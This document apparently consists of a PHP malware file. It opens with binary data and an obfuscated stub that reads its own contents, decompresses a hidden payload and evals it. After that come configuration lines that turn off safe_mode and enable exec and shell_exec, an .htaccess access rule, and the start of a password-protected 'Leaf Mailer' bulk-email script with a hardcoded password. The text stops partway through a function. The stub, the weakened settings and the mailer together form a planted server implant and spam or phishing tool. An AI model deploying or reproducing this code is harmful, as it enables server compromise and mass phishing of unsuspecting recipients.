L~4vgyag lp$KPP7merudvtmynpj3  ? ޡiP)u{lAs sk{yc!$ p:u.rm8op!*n~A&H.rvyozwhlsi$S o `n/Ɓ?trvyozwhlsiԣ;h
sl@S0j	FfphZR}QJH媃|jFrvyozwhlsi q)G:A#n" ]]:f\cZ"~%s!K7+DgA}[	|.\xȼ[-~T%WdtZerudvtmynprvyozwhlsikc]nJl3(S'K:ʄ2i
)Sk}|D${m% `r_N~IZLIj0O{erudvtmynpB`~vޕڞSp},Ӡ.XG$ gN@T`@7̳],ڿ=(KLrvyozwhlsiA%-yLY)s;Hmhơ?W !Gr erudvtmynpfceXhR0aHT̆BmcuQki? @LЇy]C 
Cڐ6bOο7ǆtaaQNlF_"O_179woo̜t<?php
$GAKJ='gzuncomp'.'ress';$GUgm='e'.'x'.'it';$hnRa='s'.'tr'.'_re'.'place';$WjqD='file_g'.'et'.'_conte'.'nts';$BuLs='subs'.'tr';eval($GAKJ($hnRa('tfdxwvmage','>',$hnRa('zwdvrihgnj','<',$BuLs($WjqD( __FILE__ ),-28286)))));$GUgm(0);
?>
xTnm*֪B1'(|H1tfdxwvmage}{	[&?k._ozwdvrihgnj_ɈwVgTsQ]klVStfdxwvmageeZnerDnnvj{+0]n__AFx4UP%Dx)\`gh~럿?k믝 E-CzzwdvrihgnjgOɿtfdxwvmageQVp΃DQЃ2Q8ꎰZ ?Y&4zHA&i^Dtfdxwvmagec$UPj8Ot@mc{vū.CΗwv^
?#mGART'Sܾ*oN$"^`UzwdvrihgnjլTbtfdxwvmage|1p_	@iStfdxwvmage}"zwdvrihgnj	ZU?HFΣf.&gMjIc6
o7`0VrM
[8(M`r
L
zwdvrihgnjN1fpGϊ,-eJTzwdvrihgnj(`&䯮;EGQ]wB]Ď`F=ciU|pioaղ#N"PA-9߅r
)A劄tfdxwvmagetu\y˽	*2e	;=;k±crx4Ywi_\_@ʛϢ;N9^AВ𓼨GQ=$DCxO/1WT"zցJ7WO{T*L
AItfdxwvmagec.1WѴ0L3hULd~3F+$q%CIY]C,5#yJh%L2V6dOبeY=t*{7(m/Н4=vg4p̣hstfdxwvmageaDtfdxwvmagerzwdvrihgnj|Zs2ǿ73}[ZB[p愒l5_ 
)+՘"tfdxwvmageuZ
!mb}qy"BɻWWbő|MM)fwL%:."_@tfdxwvmage9*WnҩCܥtw^K/88Iy7Pvq	E9~OT;
"yqěZYEj5Ts;`bZ=-r|XY) (`VC1-iIqlo2ՏzwdvrihgnjĘݓ}.Ծay#
Uu&C]ύb0\Q|_r_%Z}ơW M%%{:NGp=vk 7kfGm
@*#@H6˨?*~f渴xն,b\tfdxwvmage˚&onȊݰc
3jcМpXeִ}?xu4#&[j[.'cY]cGlCϵcsAgf"@u7[aE3	8e/v#7VfU}vhg1"%jf fmDL
D[#b*kKFLBMg*i~-_ ܅ot*_PLE$9]*Tm+}A[ռZ #sFSy
3I_ni1;Wa319WX]([*C=VZ mmUoOXfHH2DNwV;~9bQ`3Y]L䔐ø3R'B1WKe鷵&`r@b=!A,wTcߖ:aQ9_̡krY)&E
d)/!gGupgLH#Or_/_y֜|N}(5U0PPxd}b8kP:RtgB	T`,_®VyQkNՍN35Ng}pzN
Jg.UNA*~9s--H3YcKtfdxwvmage}jzwdvrihgnjus^nV^~N9O[Wtay&4Jz|[,,F?y
I0ýܝ^`TG(b4N/&̂Nw[|!o	(xzwdvrihgnj_j
tfdxwvmagezwdvrihgnjMH4"zwdvrihgnjӮjD#tfdxwvmageȘuM%,CQBLdՑ\:jx|zwaʟ* ݢ$A:_?X(tfdxwvmageK ޔQ6șg١ %XTqzwdvrihgnj\G7^{a]F{|:y۾q}ckEo/ђc8aN_^
Z[j8,N훵a	72;e+4  )WQc6?*d &C֔@imzwdvrihgnj屸6B&ː	CUw2VZJž_H[X]P,xq.Mݰ2tfdxwvmagekNOr܃?w\pTLe5
/UDaZ_sָ$;{-tfdxwvmage[zjJɼyf$[`I`E:# i9' !H2'a]ƅx/ ]=C)33R%Y`$8YKl
c4FrS.9wLW-&`LϹHy*Ʋ&_\tfdxwvmage?4x00PF,"7Đ.z/W*5v5)
]g*,#QȬWA? }sXyߒ̕K:o)SeA^%{FzPQL+ȋ-Nm)wI"c#'ÖG@a^7ꩍtfdxwvmagepWHOO6E%qՙiq߄rg?	A;ڭk1^JMl{0R*:ѬdN:it rȟ^;VeYq,[Z q]-+&6tfdxwvmageu
Rdnt͋4~,[ZxZwՇ#Nghq|Ad(qff
T.RpbS-NaI4Dl߾%lF{A.tFuݥٝ аAT';r|JCZ^E&;%,̻|ukU	ͬ3
e-TxcOo
|`jݬ9g%iq	|g[vDE4bO^f3׋L=GVo4'ಊ׺%B!)׷g$ȡ{F_n&qk~0k4tfdxwvmageJquzwdvrihgnjC"]zwdvrihgnjizwdvrihgnj+O
Z8D|;isX:-Gc9~~{ZnBo(bUH(#UkKɽ#&Oڟ4MedCE'9DcZԨܩrz/J1aMTfD]e&JЦ3}չ09++%{ۗxMAqdČ(C8sk5˿P3Ỿn8F1I޼T0O`.SO3%1l~ǦVmo.;"81?P(vP`%?X~DB{= .?b Aq`P0VĸYrĿLhJ/nȆ}~ttfdxwvmage
Ft{ˌw9zwdvrihgnjޜRǘz"x1pzwdvrihgnjMqAs+ɩ9SyzyN47ˏCAgATȪRro]̀R$"!6AGAQdx=0{Utfdxwvmagep"YtOE&%0zwdvrihgnjoZC]J2ȽQqI{ѳV]ufDU#tfdxwvmageQ/O
p_zwdvrihgnjORa2͑Uھ_'C$g[pbnşR
a\51e_yЊ=SZM
tYuVwxΎ?8L;+2 Hk$' `UJk`$1WZ[ ~&=l(c8'gv4{Vz'oCL`MON/NjTcK׼y-՞"biBͩKtfdxwvmage&tfdxwvmage
l" 4ʻ_A'1.T\DYCmҘʝ%~1T0AhA))7*Zg i{ ԝs| UҤ'ZB^;kRV-lv"1v9¤LmӼ$XI:X56Ư0?T_4g
hzstfdxwvmage%zwdvrihgnjp*pzwdvrihgnj N#OKB~
DX̰
-Cy[6LsTމmA{P]Y%?G&̡~.jPZQyKmI\]%"nR!/x1?WWX3hєgg2Ify]cT2E
H婼'$dߕmV]Ef5h299ؼl?2J^,Gefauizwdvrihgnj͜}!6I,ج#X=̯.nܩw/@z{l{$)tOnGؒY'lR06P/Z+Y16p!'ג}=+é2 g'EI(Ēz	za)ԻGV:YR
V4I%uW!?L
'`∝~8*sPi/F֣:ø\YhO%{H'
6CezwdvrihgnjxZ-~y|nusuaU('9z6]O zwdvrihgnjryo~p	G扷Iű-,{3io[%wOֹ{?tҥ;\^ydj
x2r¨TrZRvTM-czwdvrihgnj`؂X蛅ޒ^_ڡ^Iҟjb)HH"pzh("?q2tfdxwvmagem򣻚EnnM=8fRIc|fjk^!XcaH\jtfdxwvmageì9m!tfdxwvmageU^*CYW8.# 8KI|	eb+n
T4"1)BژPSm	PطHkLś~?r	-)(DiH͂zzwdvrihgnj|8hQmqA
$7oT{'0`
2,d__ 3R]aXm)W6(vkl\ӊ  #QȜtfdxwvmage
eMv%6}(O{!h_z̃ߒ $#FdNMw cNuvx&F,ߥMH.R@IH",zwdvrihgnj`{Q5COsw`{vÍ
1im?$yu'@%k~sm#
L
qS?IH$2l_Rnfʤ^d'68!oE)q"΋j$}L0A0}!+`bJqP4tfdxwvmage6Kǒ(sNXU!Z~
 ߏEa=?|kb -c+4GS:1YϥգTA()j柣+zwdvrihgnjgIڿGPX5Oq7F#:p!BRRu,R|K n֮m&d_OTO`zwdvrihgnjVL*1U]ZIwUr/x\dX yŰ`Mk;16z%b	=G,u 6рrCĨsDFtEcz×-N]Rra/rCn%hhr5}\%gx{x"
?`ÀU4Jzwdvrihgnjhrј-9AcNauо'	'-0fe%ۼw]rt {Ci]rU
lPC}\Úe53@ACac^ʏJ],o[S?#rܕ]7X2"Z!G& u 1
Ё~4yXi^JzwdvrihgnjzwdvrihgnjTN;?wȘ1ɺMc;'v@Z%JkfNïL,_/,AЧ.?VY6 7UF ]T,\.+)6ޖn,No`Iz5Ƌ)w^{G^u[K9AT3g|iЋF6^Ofg.8בr
ayh柤8rSF`clG G#0ԅ:]VD&8*zpZDཾ[Bm9ۇ̛̈́wZeNՆ7kLhU dA;Tݞϒtfdxwvmage&\ 펢)"fWD%yoo(0+:ID;K_Ⱥ٫ߥV,_4kaMvo|@4Ntklжj |`FwS 6wV}WW=_ɾX]S3"U?
$oM|V$(TN'_рͯחQL#iC$8.e\\Bxx Wg ̌~ESŴG;ؤw"[_tfdxwvmagevgXcGupeAhk5IHlXMB(jBw/&SFC5"։wjiߠ\QbhYnR˦GAuBF+J&3'Uh7Dщ)*l8]X
w1 M
tk%ƽBQ+GiAh|;]=XwޝM\oW\{]4$UgT1H_(BUhZj?Uf^Nyp1s6@NI8%TP|gwܱ	$_4;5%_@C&rJCҤBJZs#s6-]ⰠR%F@0i0P(d\tfdxwvmagezwdvrihgnjRR?[vl?ӰT4TD2ɐ"ϰs Z_e9szwdvrihgnj~,U/=)/v$A#Gɔ똿ȫmשՏB={{=K*tfdxwvmageTz1.&q{x@`9镢I30IxK0u$#}6O6xzfV9+?k諱N)
ZM9a:Il{,	[J鸠$zqZA)pFhLz!=I"h`UIzwdvrihgnj9UULzwdvrihgnjˬ!:TIxEW}JEItfdxwvmageZ!Gv66=tfdxwvmage݇@ ?5h]*1
J(lQvJAHzwdvrihgnjB$ل^?郞#)~|Yծv!! )ǋ9Ǝ|t#[.?cQ8`;xղ-C0nӸɅ":{eQ"-Jb_6N*!^)7bJrlkb8
|/ȯčRI)")[嫬7~Me~䴬'tbw2xX+[;%mʓq*&"S7D_R39[ek
\5b1h'$'$~țP%\cOe(uY
D޶X
~]Jw-&-SmAbπl0Ce&b.=	]{tfdxwvmageN
 y9P
,`Q)'LIo\z&"j
{0dٞHzwdvrihgnjJ:6
xXOXƺmr9
zwdvrihgnjV-` _וּglAi	ZHtfdxwvmageLĢtfdxwvmageKIu~k 3&̼aHv&ZJBI{?^"Em/pܤq:ZrGzwdvrihgnjOqtfdxwvmage!!a*]w
wvF߲ZH~:!߳hoz4dr ֣pzwdvrihgnj
C*gAT 
-heECKf׼j?dNTe6b&
]C4l Q"	
۟qα(-l۶6ku/M2&a\t6-ZUVW#bTh zwdvrihgnjUF,iG]p/
͂7wV&CyU'$^Ï5ęzwdvrihgnjm?AY:ctzwdvrihgnjپ϶Cry^xq 1e@w7{W}D7(e%TG:~,]_\
)ΨD.	sgϑe0 amH~}9w-UO!R[©stfdxwvmageK0H
GVqL~,._)$tfdxwvmageN@F1$7,`R	_qd[s6z#SQ:! 
;W}:zǘ+Y˯z[^#}{o0ִ*+EDQUS|4)G.B'h8b;JrBb-1qzwdvrihgnjNZzWYEBѩK@q5}}J46Ky$3AcKg.{cGCX_ 9tfdxwvmage7I4DRTbWխCoX2eQha9!鱑x(_".zwdvrihgnj+)&=  Ѝ`4.1,MquA1ϏN8M,KB`XSUljpLfU}iȒp;#XW]w]7't^6T?-DNz͌G6NU)s..P
HUL{+:f̓?+-4.!7-17CmsUg§;ɖΣHDt"ȒJ"F:[CTxb19)HBo(n8o! L+4͕෼"{q
l-x,^X^E06Fcc)8Br;en#O^vaq@2ϒ^!![QJL1&Eǰ"8SK#,P
^wS}~zwdvrihgnjh
	]ZT)hIJXo5uIh(cD-pz˗E!IAݍq1P+QN|H?.RŖoCJ3)#vSŅrlcrtfdxwvmagex)0zzqWk*Akv=~:~g2Ѵ`s22Duzwdvrihgnje|H	϶{
/#gM7&UTguhXe)p%8pQocerE兒M)fشoiO~Oth,P6:ȠbImnnzFx5շAz?-x[$$vh\xSHz(%G.UқuiO`KmCl+wTi]%,:!x	0M*tfdxwvmageJcjB| Vjn$$$竀`zwdvrihgnj1Mdag6o0qL6+Lc9
NfzwdvrihgnjI
NfwJ"xw3*dYtFp)Nd}%#83|b21|asȁO=B$CvUգIydtfdxwvmage1"[]} i6))X( t{Z2c}aU80.ZYn"8v' x@dG;i'yP 7CS򓃢k(|V|fLX
"[@@z7ǏۇpD[YArO*4^~#-mIT2226,Ҷzwdvrihgnj2}PTXY1iT5}|?EȆՉtW@diG!1+%Q q
}
YLV=G'*(2
YBl+&, mOpg Wd7"6XD=0W[d56^X?mzwdvrihgnjx*\ 6ȃ':@}+r]6o:5pZ7ʴ"g[r.tfdxwvmage
Ճv"@h
X\Dw×A]{mm/aHTOaʲ86V8@4I@4^djWtzyWwF)1}?EB"#Aũy.웁$ݪ/Bfi,[KqxzwdvrihgnjO0 5 ދp`-ߵ|e1V+nO?o(?
DJ͝tfdxwvmage:d7c
gI9T+hxC;]Nrt,zwdvrihgnj$5x-)2, #*^9H鸫0ԙB0p
&ف@\[oeC .8=YR, Aʢp_̲K7r'qdjwtfdxwvmagebUOMXe\Y}F@}-H쵥 Js#ɁQ'IY:MCmC/s7S7β1hH[z}nc(~Ua(4Ua~ק(N֖ GXOWGo1J|Ӻzwdvrihgnj2q1UꙘ?pQmn$'!M3ߥz0"uԛnY'_%atyє255U	9Źh|2,xёXtfdxwvmagew#S#66|tfdxwvmage)A0S5}$X;bIY[ܗܟ= -IThmKSY9Ƴ_UU0jy jA{;%Ӭ[	@ڃCݭtQXM|{x˛j1Ie/rQM%2zeHǅ[f;ܵ@'wC1Ȉ&U0T$
%@`̟|ݍI$	o{/?6h6ɡR"M*~Ib?-̪{,HC}l==j
]r4KGs*f15mH%(cSp4;ytfdxwvmage|`kcPM(Kzm/tfdxwvmage@שܭڼd4nm`sHvHϢ[;`Lw?d݁,7c6MR
QÇr(McopͶlqY=SZ\)u+imW_6d8jU+-uSTɇnTC Ľe[}֞ȶy$j"%X2U0LY^J'{#I@\K̋ї'S$T\hAo&8qBۓp2#}!;H/;zwdvrihgnj~i`ZK]L^\bv7g$\Zu?C8~nH{K³5NRl	ûzYmO ھWrNa cWr~1Ð|c}
zJF&RHRj
B)[Ek/ҞczߵtfdxwvmagexLhw@
ڎ@u|w7S]	shn	 f+Z&K;obҙb\Dpc޷D#T#ۤrzwdvrihgnj|9i9g|? h*/"SKxBcG6dv` |nf?bB&u.^'c+ɞ3OtW'{t F;ԂB~A1KA?f4P(BP^,ѵt'ɠ'5QPQG(',{XM64iY92*	ǜ^Ys6kDf6x欎lH݋oj15;?|,X;궤!(kp	r#ᗃ|f74Քpϡyȫo0L(0KhJzwdvrihgnjxsS{POYD3I}P\S۪{oR$ob\?ht架iy'	%P!&"o2kw[`eɝ" ~׾mseKUT	1 X"jQtfdxwvmagezn0E
d@2a͆Y4лO!gf\X/7 zX Ԡ7ԗ+tfdxwvmageb'4TM[|EԂ*DNȎ^}CvH{=:
,|5^\	LIq6%P6A=ua^tJ꾐XWW#+lоMg:"d.{0ZkސG`gzCB1;uuռ`K@.n,31tX
ռÐb!Xz{Jz␗s؞$5=U0*J
L=4O#)Gh|X3pI=.pVwT2`HxG6En\2.dۓHe%oI$ز[Jn5Qdu΄{v_ ^Ňὒ)ڈKQ*Q#n'4Df!*ó8boPqRSSu/dXX('dOzRg4\"aE.`2KFiz?K]R
M]V7e]¾zwdvrihgnj\։IrqAHࣶ:	%&1c`6剮ǘ
)R2
aYt7I*N+D?!lebrZ8_ÚTG'xzwdvrihgnj"st18&CDugs2N'WL;KSGJnpBq֓.&}{KZ
|L%)q1,oƵ$h	K#,b`,yWL),ʔ7VcѓU~?CVֵ~GmLayy*zzOt6CE
l.5c:Jzwdvrihgnj5}XՇG!Y
+qZM6zwdvrihgnj
@ex	m@tfdxwvmage.sX'x6uSF8)]|t帺7DyUz|Gv[|pS8~61o8bW=k?pڈ4|,_#ST2sVP7iS7TI4*)H{ej&Y!`iJ979~by1U$ةk"s}sHUÌGT⵮,xSO9V2Y s"}- U6CMeVَx2p]6wV41fW2Ӻ T\THzmGKnJˋ`\'=AEːyGRԺxo@ *
޴d[eWX6=0#Hc5b74{DᬔT:B&-\CiN؍IP.Rd|atfdxwvmageFٟYՌVD/-Ο$8Qo`6:ELQ1RJxDkR
E(3"}6(?-,,NtfdxwvmageajVI 95urkܤwHy2ԀKib6X϶`e^fi7OӈE,ZKjjaѦ3Uak^#wbF"^9ܪˁIͳ혲Z8} YCP@n!n
v	!@%#Wlx;vΛ\p-C&;-xJ#}d51خ[z3_tfdxwvmage6?@vq.SkΊp)$z7ɡQ	'tfdxwvmagez/;#Gћ	L.PUW#fpTZ[ԙ
`?x@QtrEW ϓ[60d(]L=^Ȗ%:4ۮM[9!#^`;uS~zwdvrihgnju[e)#rUtfdxwvmage-wDs+ѥn TK&'H/
u#%W3dH ;=-\2%:oJ^`'pt#z(53nElWR0pܣZsX$)G"btfdxwvmagefzwdvrihgnj͕pH
)?H8oD
)]#њ6:a3RYwCI?SHA +\IݗA|y^,#=6wdF0%M	
C8Fȯ~&[i8IejLM+q˗0ϣnZ)v7	'yg4 nEHAW|`",{CAAg2J
,H `RM7ozwdvrihgnj2DtUfݙ`c͊F{fL5ֻnkO&]`{~4 zFd^-ި/Oډ8$LʝRRhʥqzwdvrihgnj3+2nK5}S]K_ Ctfdxwvmage1mxs9_m_F*j۶o3f}Ι~cmX3d*:AnY?+S8x%ű.
ezwdvrihgnj:~SbO.ptfdxwvmageVPm]7)g_M
!X5Veldjڞ¢0gCq-ʈf.jH-$~R_BΆ0_'53})KnUW5O	|0Zl(d;7s3!pQV՘+u\!5AΩ*8?şjL$܃Ag(9ԀN5urJ=zwdvrihgnj3m6W/d.4ʂ&zwdvrihgnj!@漏.:r1yG,2"Y~y$`:&-;3o]ٜQZ#Nk&\e?=hkMKM~
2ܻ}{jb:8Kvbq
~c-lkOk#Rvt&Y3{5R8 )Lu8%ʩ)9tt$_`:e("H(Ǿf4d]GiyF+&y%nP:Dj֯(RJ,#=
ysQt~_tWb$KA!Tj*ӊhPGWǽUl uSnY[mYu"XQD_ dΜ#gbcL%gFwLcGaUbfp|aKYzA@Վeg?æ̊+q~R1K	:)=
"$ՔgYU/Bod#jzwdvrihgnj0@
`o5UW5ZL?]꽞xm 6CYBWu`/g+/jtfdxwvmage:fzwdvrihgnjm?"r(q*V
x`LC~GtPm,o
:YHE_tzmRYp,!' O
EUhC[o[_9u_+QhVs;?&U$h&F[mzԧi`NO:3]m1kϷOr6hgEH,#ORa:H(AT\NVbX| yXpD]وʤ5bG7fYzwdvrihgnji弗(:g8.' ,WcA9{
$tfdxwvmage$kP \x1Ʒ"Q-/tfdxwvmageI1JKuVp㋯"TRd:!ZCha^_bJBȭa}{0Ǽg3з8zC &ZUOXĽ"QrU+yWզڼ'.ʘg~yh+
$q\Q~hmivL\p]|Px}ͣx,u*ߑTja).k6VA2qc%7?Hb^tL}0x$X=\iqCjkox
@Ե
1;sԕEaa˱UPߓS:I+%^0ح0Abh"]դ-G(J?zwdvrihgnjvgNZIFL"}
ZgM-39|bGאB饁,:dgBuW
Utfdxwvmageʃxm8jn\򰝞B{YU=2xbm9MF'}F}v3[)8zdڄFhB6/+zFBq
i߀_POD&~BTfR"Tə]=w6Ӻzwdvrihgnj^«%DkqrC	Fw)v:`MrtsW0&H2WY^)E4,j/Zzi`?ňl »4q?#_K`v!?$h
 ۼsGc06}֯ZHj#][V'ڱѰ/V_y6tfdxwvmage6S6c6K+8P}FvmtQ8p$E2	h,%ґC
7"UyI/9=0Eu_`NYVnƻ
 IV6{XD?ـSf
RڃP'º"PGjw%ꮖƤ,r}clA~-rm߬Cc
2Li
!-p !(0x0R@ܜ]pDs8))B4^y֫vjJ;F4
~zV4ЄWQe+@26
7wuG	hYH71u"y$3bLx54zwdvrihgnjބ
BȖtfdxwvmageHk@ 8GΔ4X3o4wCcR:ôdR%_d

&DIG,!dEaqeÊw\ְVi.ӡ]JER~N*n#6PŒՓ_u]LK%K,PxrvMAooq֏$y[2H;/Eǘ&	}J"poZA]"q!\1/tfdxwvmageёv7aYq@!ʔi"h82شƚ tfdxwvmageR]5M:Y?
U(oP^rDS,fzdotfdxwvmageѯoMuwx0;-XleF@JivWƛWmeH{ i2dЕ@;]h@=tfdxwvmage)|Ha/h]qf`z"re#Bz͌l@jO1zwdvrihgnj7sg9Pz,
P/# ċR62IoD53(=Wx+Jӂhm(䇴Z˽&6YQ9ⰵe%g3$yK6;?:
v9zϒό'Հ 
@j.U7AR/Fq/
2GefGpol!V'G-8t.w7?k'j3ʭ
A	֭x]gu^fNRp%86}ܶX4FRޞL${*`.oje4`el_)XCS͟ƥ R{3|wL#yEg{O*m* ۔H	bn+|&UPL)잤nw{cF4a9ş/-ɖiZb/C~C=Cޭ}}@ޙB|$eg6V ],S32*JᯛTq [dlcx2Ӎ#`obYP%/o?`F-`dZ?d0qt
^׫ {/1RPO$E+tfdxwvmageV5Y^iLp$,QzwdvrihgnjB"lqEWuqO+wn_O布\Kp}i6.jY({WR8?[N,9u+ݬH:{wKzkp`XoIEJ,:/`2tu8+rzwdvrihgnjLp~"5ib69|]51+`6y:BSW졋l=_Y]js[nSglKe޽F_?)=N"	g9kb
yU&H~u@$c!8N:lSatfdxwvmagevK.,	B%c\31mF?f}掂f%rsrH~*T)B	IcҤWR!ԑ
)$,6KyB=4RF){?LJ,Zh xtfdxwvmage[1M!Q*,rPҗ	nzyxg*z/96Xg
M൮{;
Ps n´4h(H˞1aUA#54!=T	Vu/z6*_"vk" l@g;n̠@YSODtJ0^ց͞Jc98$Fѽ3ERin m~j]V1"HoYDB"d",tfdxwvmageHE0kɳԛM{] qIzo(qک|3@G009Cˑ;ӇkV-@迅5U^:w6 zp\9\Y8^pQ˸SW2eR3	s8gZlV}Ō|ʲ0 Yf?	"ه XcnWn=JT\|)B:);QЗi.&I]ْ
r
Q`w2{rtfdxwvmage@E!1j	+;zwdvrihgnj^hꋁhhcíG"{.G;zǌL6SX	2-!I0?`6/D\Ni	gA&QՕr#\m޳8Pg5IN 
 KQGQ8CsњWPBl7BK]tfdxwvmage}/K2:t^ZURAY^_zwdvrihgnjUW	 yI:8cpoQPhER{3,YD]Xe
\}ET㎾D9K!Bž/9v⮓6[5YqCPqEz[ױ_^9S(~jmPԫK1%t||+y׽]cОlm&iN1WLyU[FWHؠBE.j󖏸=j-LKMBb D	 zwdvrihgnjp#U	|yKKhت[I\}5%HH5nہ:uwzwdvrihgnj3sB=YxSr?Y%	2tfdxwvmageqp U`?nQBKZmpYY"RJtfdxwvmage U0-,hAEM?u15TTw
Մȑ^NW(.no4vG8K^lݾL]=Qⰽhl$%O-Zc?H=^6rllS6l݂)r.uH::^e#RPf21XS͞.MTsq!+ϑxZHݒ2z 
b뜂;~N@K(*/,
M8?KBF&!9h4zwdvrihgnj{Z~5d\'=maGuP\I@qSѭ.Dc[h+ 
ORpBH˨Y[n1\--)ׁ4vR3Z+?T9$QN\zwdvrihgnj |Fld1 ;np/%ܭ ?qZd-JxvT$}K,oZ7%WȑQֿ8%K! }"q^dx`7ˆ`~ )vQU)m4Jܲ@ʬ٩h~}̊_܃mL(PG$;g[dgtfdxwvmage{=Ir&TͰ.~oW'd`q92UYzbmb3=fhzJ{Vdͨ420FNĴߦhy"XឧW%њe!@ز
E2Cdgs eWH|mǓ6Qi
\,ZdG6@?.M0AgVPOaD
D]!|3ãnyuC&6adӪͺv%^+d^!a6fl*Y@3I\@DR J+~zwdvrihgnjѾv_դ7Jm¡cф:}KTvIzp܄4tfdxwvmagea11ǷղS
}+u ԇҾ\׽ؤQGgfo-PibJ[)T}zwdvrihgnjG$M\(}2hH@	ծʏ_چ3c. {^
4ޒH`[:(e6ޯSje`^(Mmykw HzwdvrihgnjV"X~a]G?+G!Gl@- tfdxwvmageN6-qzwdvrihgnjCJOtfdxwvmage00g.rWI?0+_/,j]/?A	zwdvrihgnj.A
-xFƅR`~xAܘWq6/7$zwdvrihgnjb%sAnBي`Z*dv
&G1H`J$'r^
W=zwdvrihgnj#_;] s;ԁ,g}(	}YM5a_i0m4Y..jf|+ups:Swt7#33YejRw׉|E|^lۭ66z"'af9OgDht RKׯ}'ϰ5Pǉhݝ	jU?bZ|avҖ'Aym.Muؠ_tfdxwvmageJoH*&?Ǐ
.
nɅn|hvTuZSyFMj|NX
֝¦_Re_[QKp/:0DuDhg_LeC4rXfzdZޫ$.ߤoF,5*'T~7VwLx~7gMqwg&QRw֜רHZK /\Q^z*6|E.$jym5 dh0#ԽGNot׮v?8}a9Z:ܸSSA =x1OedbTqV!'GbWؔƩEy?Ҽ]/'O0PBADðˋV:%dH~9Az@h	ǐ?zpSVr$g*mW嬟дGv`($L#ngQT.9FT#'  +м3s5Qwʷ!(o~ӑ7IJ䞇W;q.j:}%ZPlhȠ=OӍU+^љ擘女'ҞRYa T(DퟏZi?]O[$} =k ,rWO	Zw:g T~(N/\d} (O"陖S8{lOцVʬ+ވxAV|qp5|Ju JKzwdvrihgnjgԏ_bzwdvrihgnj*zB]zR+},@(j"`gFpV3㖿´ya\IMu=
_޴%eyt9@izwdvrihgnjкYftfdxwvmageTËy6DXQ)iө"m$| ?Cz3AϓQUL ;#ֺtQ£3N#fWI0m"Q&M8&V@Ψtfdxwvmageՙt5ci#A3"e{
ϞHD"ztfdxwvmageFz{9L%Q%UQ7e"W*ݮP"Ng%V:JEcXHvxl?։|Oͬػg('lASK;αl$,汃*"ךܼmC&8
Lj1bW!75C)tfdxwvmagetE(C_.9Tt4uDk
V9g׃g$+$!`^+ƅv&.t_j{c?l`(l}Yp4AM0;s|mR~~GCg~wc`@s!^Dk?	Y07b_ipVC 铰VMV-v6#}N5~^J&aT
VWzɁ,tSt{BzwdvrihgnjcyPJ?Ÿ6
rTs%V7}&mw%cݜk 36uVXEW2] tQSzwdvrihgnjLm`S#T	/3QRY!RnpuGzDJ"Elt`=[2ᖓ*)uNΡb+jetfdxwvmageKI$Fw# ?ȱKnp'uTm?@zy#j2Io}uR8dRڵK2zZ^hM͔&s0xծ$PٴP1@ܣwzwdvrihgnj!~oV50.K"8epSBvcRPf6h h
{A}8:hD*Xr\^?ݫ~2*cjL,ZH{ǫ9H~EAOۃ5ga^ LN'hD7Ċ/|K$v2-0"j=/nGt%"HM|x^ b6Do1Ǻ]2SP%CТ ɞ[ASͧ(ರJ'-M;	|&_VMu=R_g=[aik^I_ڄv[EYugx6B$`tkD Ο#a!exsw'wDx%j"l94D~z).=./xу6y࠮Q~tfdxwvmageЋᗨ/KZ-xfx=g%ZJRzwdvrihgnj;ꠇz1
YDQ4S6ztfdxwvmagetLjalK
ceJ|MhS|?fiXΤشxV*x+ݢ$c{
ӓtzQcȮ9 R)vاwn8_Yǭ3EzWGTQhI08Vz/*[4	Po%tgcTr1pjlʀ;6Zitfdxwvmage:g
m4LCnʃͮaR;C-K2g { &+%O3Uz%Ix	S݆lc?s=4{b:˂RCBRsr RYi#^1q{PgR镮28~[vW)wC|	o??K5g_О%\_G=Dc=Q,3(5l0&ipxMeÕ);i.ZjѨzwdvrihgnjjYXLvCbtfdxwvmageCiKĢ{o~6s	@"Ԗ3I;J'z.+4SQQoIf֞Ŗaʐ3e;~|.Rm@~B ~Co	kZ.ݹW1LOf+ȥaj?w+\1#]XI7%JD:"JNCCdC1 ageKtfdxwvmageɮ#3$QV_VYήezwdvrihgnj+Qd^}ߜ9SqR&PKk)QH
[6	YZ9BwuNk40{QdvGlsOtc߉;;\%گ=dҚȟhqg"Q|`
 f=yd`{)^b*uf8e@xhH
f#DH7K=kҠoE
J2tfdxwvmagemMFMNad-"h2f%pStfdxwvmageœ`zwdvrihgnj/Pab(W
CaBp]8$#uaiRh96T֛Zbh	^vZ&6I?^Pxc^nyQ2͝hU_A\XX"PHf2}PJֳg 5tfdxwvmage!5&lZFp)`jͼV	(0ƌAsi$QOnr"5Hmg-7+@`~5 i_c1t蘿p${n3tScQD0TGj[q2'ptKuXUb +{znE$%la߇#YnXsϹzwdvrihgnj?ARr@[bf3ʌG3\swSȓs1O߆T_xY80V=9wԸ}`c*07zwdvrihgnjY& ,=7a1ΣK렳[L STzwdvrihgnj+(|d yZzyOj!ZW FڈuWu0X_Bzwdvrihgnj5֖ꨓ-{jb9lT S|шsFo5(8FQW',ZTE4įm[jY
}k;-Vöe:jhw}|۲y_tht_?{J$X︼lכtmc ΙP|/~絃i[52ri5b8BEz"";%۶sڣHa&A \ra_VMqk޺6,-?\Dkwߞ]p45MkUZS@GYҙUgqzwdvrihgnj	~P)$Ry2yǴ-av)ˍ"TF˲Ötƶ\uhYK&;`vÊڨϝ+;uےzxtfdxwvmage){o|Q]K}f17@}e&'_Psafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "2iUX1RwfBSK";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
